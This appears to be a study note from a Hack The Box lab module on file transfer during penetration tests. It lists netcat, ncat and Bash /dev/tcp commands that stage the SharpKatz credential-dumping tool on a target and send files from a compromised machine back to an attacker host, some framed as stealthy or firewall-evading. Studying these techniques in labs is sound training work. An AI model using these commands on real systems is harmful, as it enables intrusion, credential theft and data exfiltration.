Transfer Files with Netcat, Ncat, RDP

🧱 File Transfers with Netcat & Ncat — The Hacker's Swiss Army Knife 🗡️

Whether you're dealing with a firewall, a restricted shell, or a stealthy transfer, netcat (nc) and its upgraded cousin ncat can move files like a boss. 💪🧾

We’ll show how to:

• 📥 Send a file to the target

• 📤 Retrieve a file from the target

• 🔁 Use both nc and ncat

• 🧪 Even use Bash with /dev/tcp for stealthy transfers!

---

📥 1. Netcat - Send File from Attacker ➡️ Target

Target: Start Listener (nc)

victim@target:~$ nc -l -p 8000 > SharpKatz.exe

Attacker: Send File

z3tssu@htb[/htb]$ wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
z3tssu@htb[/htb]$ nc -q 0 192.168.49.128 8000 < SharpKatz.exe

📌 -q 0 = Close connection once file is sent

---

🔐 2. Using Ncat Instead of Netcat

On Target (Receiver):

victim@target:~$ ncat -l -p 8000 --recv-only > SharpKatz.exe

On Attacker (Sender):

z3tssu@htb[/htb]$ ncat --send-only 192.168.49.128 8000 < SharpKatz.exe

---

🔁 3. Reverse Connection (Target Initiates)

This method is firewall friendly because outbound connections are usually allowed. 📡

On Attacker: Listen on port 443

# Netcat
sudo nc -l -p 443 -q 0 < SharpKatz.exe

# OR Ncat
sudo ncat -l -p 443 --send-only < SharpKatz.exe

On Target: Connect and receive

# Netcat
nc 192.168.49.128 443 > SharpKatz.exe

# OR Ncat
ncat 192.168.49.128 443 --recv-only > SharpKatz.exe

---

🧙‍♂️ 4. No Netcat? No Problem! Use Bash + /dev/tcp/

If Netcat/Ncat isn’t available, Bash can save the day using a magic file:

On Attacker:

sudo nc -l -p 443 -q 0 < SharpKatz.exe
# OR
sudo ncat -l -p 443 --send-only < SharpKatz.exe

On Target (Bash):

cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

📌 cat reads from the network like a file — pure Bash stealth!

---

🔄 Reverse Transfers: Target ➡️ Pwnbox?

Just flip the directions!

1. 🛠️ On Pwnbox, listen with Netcat or Ncat

2. 📤 On the compromised machine, connect and send file using:

cat SharpKatz.exe > /dev/tcp/192.168.49.128/443

---